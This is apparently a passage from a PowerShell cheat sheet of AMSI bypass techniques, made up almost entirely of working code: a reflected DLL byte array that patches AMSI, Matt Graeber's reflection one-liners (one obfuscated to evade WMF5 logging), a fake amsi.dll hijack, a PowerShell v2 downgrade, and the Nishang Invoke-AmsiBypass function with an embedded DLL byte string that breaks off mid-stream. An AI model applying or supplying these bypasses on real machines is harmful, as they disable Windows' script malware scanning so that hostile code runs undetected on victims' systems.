0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 212, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 212, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 52, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 16, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 54, 0, 11, 0, 1, 0, 67, 0, 111, 0, 109, 0, 112, 0, 97, 0, 110, 0, 121, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 62, 0, 11, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 48, 0, 8, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 62, 0, 15, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 40, 0, 2, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 32, 0, 0, 0, 70, 0, 15, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 54, 0, 11, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 48, 0, 6, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 56, 0, 8, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 12, 0, 0, 0, 96, 60, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) | + Out-Null; + Write-Output "DLL has been reflected"; + } + [Bypass.AMSI]::Patch(); +} +MyPatch; +Start-Sleep 1; +``` + +## Using Matt Graebers Reflection method + +```ps1 +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) +``` + +## Using Matt Graebers Reflection method with WMF5 autologging bypass + +```ps1 +[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) +``` + +## Using Matt Graebers second Reflection method + +```ps1 +[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) +``` + +## Using Cornelis de Plaas DLL hijack method + +```ps1 +[Byte[]] $temp = $DllBytes -split ' ' +Write-Output "Executing the bypass." +Write-Verbose "Dropping the fake amsi.dll to disk." +[System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp) + +Write-Verbose "Copying powershell.exe to the current working directory." +Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd + +Write-Verbose "Starting powershell.exe from the current working directory." +& "$pwd\powershell.exe" +``` + +## Using PowerShell version 2 + +```ps1 +if ($ShowOnly -eq $True) +{ + Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." +} +else +{ + Write-Verbose "Checking if .Net version 2.0.50727 is installed." + $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version + if($versions -match "2.0.50727") + { + Write-Verbose ".Net version 2.0.50727 found." + Write-Output "Executing the bypass." + powershell.exe -version 2 + } + else + { + Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." + } +} +``` + +## Nishang all in one + +```ps1 +function Invoke-AmsiBypass +{ +<# +.SYNOPSIS +Nishang script which uses publicly known methods to bypass/avoid AMSI. + +.DESCRIPTION +This script implements publicly known methods bypass or avoid AMSI on Windows machines. + +AMSI is a script malware detection mechanism enabled by default in Windows 10. +(https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx) + +This script implements 6 methods of bypassing AMSI. +unload - Method by Matt Graeber. Unloads AMSI from current PowerShell session. +unload2 - Another method by Matt Graeber. Unloads AMSI from current PowerShell session. +unloadsilent - Another method by Matt Graeber. Unloads AMSI and avoids WMF5 autologging. +unloadobfuscated - 'unload' method above obfuscated with Daneil Bohannon's Invoke-Obfuscation - which avoids WMF5 autologging. +dllhijack - Method by Cornelis de Plaa. The amsi.dll used in the code is from p0wnedshell (https://github.com/Cn33liz/p0wnedShell) +psv2 - If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which doesn't support AMSI. + +The script also provides information on tools which can be used for obfuscation: +ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) +Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation) + +.PARAMETER Method +The method to be used for elevation. Defaut one is unloadsilent. + +.PARAMETER ShowOnly +The bypass is not executed. Just shown to the user. + +.EXAMPLE +PS > Invoke-AmsiBypass -Verbose +Above command runs the unloadsilent method. + +.EXAMPLE +PS > Invoke-PsUACme -Method unloadobfuscated -Verbose +Above command runs the unloadobfuscated method. + +.LINK +http://www.labofapenetrationtester.com/2016/09/amsi.html +https://github.com/samratashok/nishang +#> + + + [CmdletBinding()] Param( + + [Parameter(Position = 0, Mandatory = $False)] + [ValidateSet("unload","unloadsilent","unloadobfuscated","unload2","dllhijack","psv2","obfuscation")] + [String] + $Method = "unloadsilent", + + [Parameter(Position = 1, Mandatory = $False)] + [Switch] + $ShowOnly + ) + + $AmsiX86 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 190 171 71 149 250 202 41 198 250 202 41 198 250 202 41 198 243 178 186 198 248 202 41 198 148 145 40 199 249 202 41 198 148 145 42 199 251 202 41 198 148 145 44 199 242 202 41 198 148 145 45 199 241 202 41 198 39 53 226 198 248 202 41 198 250 202 40 198 231 202 41 198 40 145 33 199 251 202 41 198 40 145 214 198 251 202 41 198 40 145 43 199 251 202 41 198 82 105 99 104 250 202 41 198 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 76 1 6 0 144 29 62 87 0 0 0 0 0 0 0 0 224 0 2 33 11 1 14 0 0 14 0 0 0 18 0 0 0 0 0 0 43 19 0 0 0 16 0 0 0 32 0 0 0 0 0 16 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 112 0 0 0 4 0 0 0 0 0 0 2 0 64 1 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 148 36 0 0 80 0 0 0 0 80 0 0 224 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 44 1 0 0 176 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 33 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 124 12 0 0 0 16 0 0 0 14 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 220 7 0 0 0 32 0 0 0 8 0 0 0 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 136 3 0 0 0 48 0 0 0 2 0 0 0 26 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 103 102 105 100 115 0 0 20 0 0 0 0 64 0 0 0 2 0 0 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 80 0 0 0 2 0 0 0 30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 44 1 0 0 0 96 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 194 12 0 59 13 4 48 0 16 242 117 2 242 195 242 233 96 3 0 0 85 139 236 139 69 12 131 232 0 116 51 131 232 1 116 32 131 232 1 116 17 131 232 1 116 5 51 192 64 235 48 232 245 4 0 0 235 5 232 207 4 0 0 15 182 192 235 31 255 117 16 255 117 8 232 24 0 0 0 89 235 16 131 125 16 0 15 149 192 15 182 192 80 232 23 1 0 0 89 93 194 12 0 106 16 104 24 36 0 16 232 123 9 0 0 106 0 232 35 5 0 0 89 132 192 117 7 51 192 233 224 0 0 0 232 40 4 0 0 136 69 227 179 1 136 93 231 131 101 252 0 131 61 60 51 0 16 0 116 7 106 7 232 203 7 0 0 199 5 60 51 0 16 1 0 0 0 232 74 4 0 0 132 192 116 101 232 206 8 0 0 104 186 25 0 16 232 177 6 0 0 232 93 7 0 0 199 4 36 57 24 0 16 232 160 6 0 0 232 112 7 0 0 199 4 36 128 32 0 16 104 124 32 0 16 232 78 11 0 0 89 89 133 192 117 41 232 237 3 0 0 132 192 116 32 104 120 32 0 16 104 116 32 0 16 232 42 11 0 0 89 89 199 5 60 51 0 16 2 0 0 0 50 219 136 93 231 199 69 252 254 255 255 255 232 68 0 0 0 132 219 15 133 76 255 255 255 232 52 7 0 0 139 240 131 62 0 116 30 86 232 40 5 0 0 89 132 192 116 19 255 117 12 106 2 255 117 8 139 54 139 206 232 136 8 0 0 255 214 255 5 24 48 0 16 51 192 64 232 201 8 0 0 195 138 93 231 255 117 227 232 131 5 0 0 89 195 106 12 104 56 36 0 16 232 105 8 0 0 161 24 48 0 16 133 192 127 4 51 192 235 79 72 163 24 48 0 16 232 22 3 0 0 136 69 228 131 101 252 0 131 61 60 51 0 16 2 116 7 106 7 232 190 6 0 0 232 180 3 0 0 131 37 60 51 0 16 0 199 69 252 254 255 255 255 232 27 0 0 0 106 0 255 117 8 232 65 5 0 0 89 89 51 201 132 192 15 149 193 139 193 232 78 8 0 0 195 232 164 3 0 0 255 117 228 232 6 5 0 0 89 195 106 12 104 88 36 0 16 232 236 7 0 0 131 101 252 0 139 125 12 131 255 1 116 10 131 255 2 116 5 139 93 8 235 49 255 117 16 87 139 93 8 83 232 218 0 0 0 139 240 137 117 228 133 246 15 132 190 0 0 0 255 117 16 87 83 232 216 253 255 255 139 240 137 117 228 133 246 15 132 167 0 0 0 131 255 1 117 7 83 232 198 9 0 0 89 255 117 16 87 83 232 159 253 255 255 139 240 137 117 228 131 255 1 117 43 133 246 117 30 255 117 16 80 83 232 135 253 255 255 255 117 16 86 83 232 147 253 255 255 255 117 16 86 83 232 116 0 0 0 131 255 1 117 4 133 246 116 4 133 255 117 11 83 232 130 9 0 0 89 133 255 116 5 131 255 3 117 72 255 117 16 87 83 232 98 253 255 255 139 240 137 117 228 133 246 116 53 255 117 16 87 83 232 58 0 0 0 139 240 235 36 139 77 236 139 1 81 255 48 104 22 16 0 16 255 117 16 255 117 12 255 117 8 232 86 2 0 0 131 196 24 195 139 101 232 51 246 137 117 228 199 69 252 254 255 255 255 139 198 232 54 7 0 0 195 85 139 236 86 139 53 160 32 0 16 133 246 117 5 51 192 64 235 18 255 117 16 139 206 255 117 12 255 117 8 232 193 6 0 0 255 214 94 93 194 12 0 85 139 236 131 125 12 1 117 5 232 88 4 0 0 255 117 16 255 117 12 255 117 8 232 177 254 255 255 131 196 12 93 194 12 0 85 139 236 106 0 255 21 40 32 0 16 255 117 8 255 21 0 32 0 16 104 9 4 0 192 255 21 4 32 0 16 80 255 21 8 32 0 16 93 195 85 139 236 129 236 36 3 0 0 106 23 232 234 8 0 0 133 192 116 5 106 2 89 205 41 163 32 49 0 16 137 13 28 49 0 16 137 21 24 49 0 16 137 29 20 49 0 16 137 53 16 49 0 16 137 61 12 49 0 16 102 140 21 56 49 0 16 102 140 13 44 49 0 16 102 140 29 8 49 0 16 102 140 5 4 49 0 16 102 140 37 0 49 0 16 102 140 45 252 48 0 16 156 143 5 48 49 0 16 139 69 0 163 36 49 0 16 139 69 4 163 40 49 0 16 141 69 8 163 52 49 0 16 139 133 220 252 255 255 199 5 112 48 0 16 1 0 1 0 161 40 49 0 16 163 44 48 0 16 199 5 32 48 0 16 9 4 0 192 199 5 36 48 0 16 1 0 0 0 199 5 48 48 0 16 1 0 0 0 106 4 88 107 192 0 199 128 52 48 0 16 2 0 0 0 106 4 88 107 192 0 139 13 4 48 0 16 137 76 5 248 106 4 88 193 224 0 139 13 0 48 0 16 137 76 5 248 104 164 32 0 16 232 225 254 255 255 139 229 93 195 85 139 236 139 69 8 86 139 72 60 3 200 15 183 65 20 141 81 24 3 208 15 183 65 6 107 240 40 3 242 59 214 116 25 139 77 12 59 74 12 114 10 139 66 8 3 66 12 59 200 114 12 131 194 40 59 214 117 234 51 192 94 93 195 139 194 235 249 232 85 7 0 0 133 192 117 3 50 192 195 100 161 24 0 0 0 86 190 64 51 0 16 139 80 4 235 4 59 208 116 16 51 192 139 202 240 15 177 14 133 192 117 240 50 192 94 195 176 1 94 195 232 32 7 0 0 133 192 116 7 232 118 5 0 0 235 5 232 77 7 0 0 176 1 195 106 0 232 207 0 0 0 132 192 89 15 149 192 195 232 97 7 0 0 132 192 117 3 50 192 195 232 85 7 0 0 132 192 117 7 232 76 7 0 0 235 237 176 1 195 232 66 7 0 0 232 61 7 0 0 176 1 195 85 139 236 232 203 6 0 0 133 192 117 24 131 125 12 1 117 18 255 117 16 139 77 20 80 255 117 8 232 136 4 0 0 255 85 20 255 117 28 255 117 24 232 219 6 0 0 89 89 93 195 232 155 6 0 0 133 192 116 12 104 68 51 0 16 232 220 6 0 0 89 195 232 240 6 0 0 133 192 15 132 217 6 0 0 195 106 0 232 221 6 0 0 89 233 215 6 0 0 85 139 236 131 125 8 0 117 7 198 5 92 51 0 16 1 232 186 4 0 0 232 189 6 0 0 132 192 117 4 50 192 93 195 232 176 6 0 0 132 192 117 10 106 0 232 165 6 0 0 89 235 233 176 1 93 195 85 139 236 131 236 12 86 139 117 8 133 246 116 5 131 254 1 117 124 232 31 6 0 0 133 192 116 42 133 246 117 38 104 68 51 0 16 232 80 6 0 0 89 133 192 116 4 50 192 235 87 104 80 51 0 16 232 61 6 0 0 247 216 89 26 192 254 192 235 68 161 4 48 0 16 141 117 244 87 131 224 31 191 68 51 0 16 106 32 89 43 200 131 200 255 211 200 51 5 4 48 0 16 137 69 244 137 69 248 137 69 252 165 165 165 191 80 51 0 16 137 69 244 137 69 248 141 117 244 137 69 252 176 1 165 165 165 95 94 139 229 93 195 106 5 232 6 2 0 0 204 106 8 104 120 36 0 16 232 117 3 0 0 131 101 252 0 184 77 90 0 0 102 57 5 0 0 0 16 117 96 161 60 0 0 16 129 184 0 0 0 16 80 69 0 0 117 79 185 11 1 0 0 102 57 136 24 0 0 16 117 65 139 69 8 185 0 0 0 16 43 193 80 81 232 180 253 255 255 89 89 133 192 116 42 247 64 36 0 0 0 128 117 33 199 69 252 254 255 255 255 176 1 235 31 139 69 236 139 0 51 201 129 56 5 0 0 192 15 148 193 139 193 195 139 101 232 199 69 252 254 255 255 255 50 192 232 59 3 0 0 195 85 139 236 232 11 5 0 0 133 192 116 15 128 125 8 0 117 9 51 192 185 64 51 0 16 135 1 93 195 85 139 236 128 61 92 51 0 16 0 116 6 128 125 12 0 117 18 255 117 8 232 67 5 0 0 255 117 8 232 59 5 0 0 89 89 176 1 93 195 85 139 236 161 4 48 0 16 139 200 51 5 68 51 0 16 131 225 31 255 117 8 211 200 131 248 255 117 7 232 1 5 0 0 235 11 104 68 51 0 16 232 233 4 0 0 89 247 216 89 27 192 247 208 35 69 8 93 195 85 139 236 255 117 8 232 186 255 255 255 247 216 89 27 192 247 216 72 93 195 85 139 236 131 236 20 131 101 244 0 131 101 248 0 161 4 48 0 16 86 87 191 78 230 64 187 190 0 0 255 255 59 199 116 13 133 198 116 9 247 208 163 0 48 0 16 235 102 141 69 244 80 255 21 28 32 0 16 139 69 248 51 69 244 137 69 252 255 21 32 32 0 16 49 69 252 255 21 36 32 0 16 49 69 252 141 69 236 80 255 21 16 32 0 16 139 77 240 141 69 252 51 77 236 51 77 252 51 200 59 207 117 7 185 79 230 64 187 235 16 133 206 117 12 139 193 13 17 71 0 0 193 224 16 11 200 137 13 4 48 0 16 247 209 137 13 0 48 0 16 95 94 139 229 93 195 104 96 51 0 16 255 21 24 32 0 16 195 104 96 51 0 16 232 229 3 0 0 89 195 184 104 51 0 16 195 184 112 51 0 16 195 232 239 255 255 255 139 72 4 131 8 4 137 72 4 232 231 255 255 255 139 72 4 131 8 2 137 72 4 195 184 132 51 0 16 195 85 139 236 129 236 36 3 0 0 83 86 106 23 232 234 3 0 0 133 192 116 5 139 77 8 205 41 51 246 141 133 220 252 255 255 104 204 2 0 0 86 80 137 53 120 51 0 16 232 133 3 0 0 131 196 12 137 133 140 253 255 255 137 141 136 253 255 255 137 149 132 253 255 255 137 157 128 253 255 255 137 181 124 253 255 255 137 189 120 253 255 255 102 140 149 164 253 255 255 102 140 141 152 253 255 255 102 140 157 116 253 255 255 102 140 133 112 253 255 255 102 140 165 108 253 255 255 102 140 173 104 253 255 255 156 143 133 156 253 255 255 139 69 4 137 133 148 253 255 255 141 69 4 137 133 160 253 255 255 199 133 220 252 255 255 1 0 1 0 139 64 252 106 80 137 133 144 253 255 255 141 69 168 86 80 232 252 2 0 0 139 69 4 131 196 12 199 69 168 21 0 0 64 199 69 172 1 0 0 0 137 69 180 255 21 20 32 0 16 86 141 88 255 247 219 141 69 168 137 69 248 141 133 220 252 255 255 26 219 137 69 252 254 195 255 21 40 32 0 16 141 69 248 80 255 21 0 32 0 16 133 192 117 13 15 182 195 247 216 27 192 33 5 120 51 0 16 94 91 139 229 93 195 83 86 190 8 36 0 16 187 8 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 56 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 83 86 190 16 36 0 16 187 16 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 13 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 255 37 112 32 0 16 204 204 204 204 204 104 75 26 0 16 100 255 53 0 0 0 0 139 68 36 16 137 108 36 16 141 108 36 16 43 224 83 86 87 161 4 48 0 16 49 69 252 51 197 80 137 101 232 255 117 248 139 69 252 199 69 252 254 255 255 255 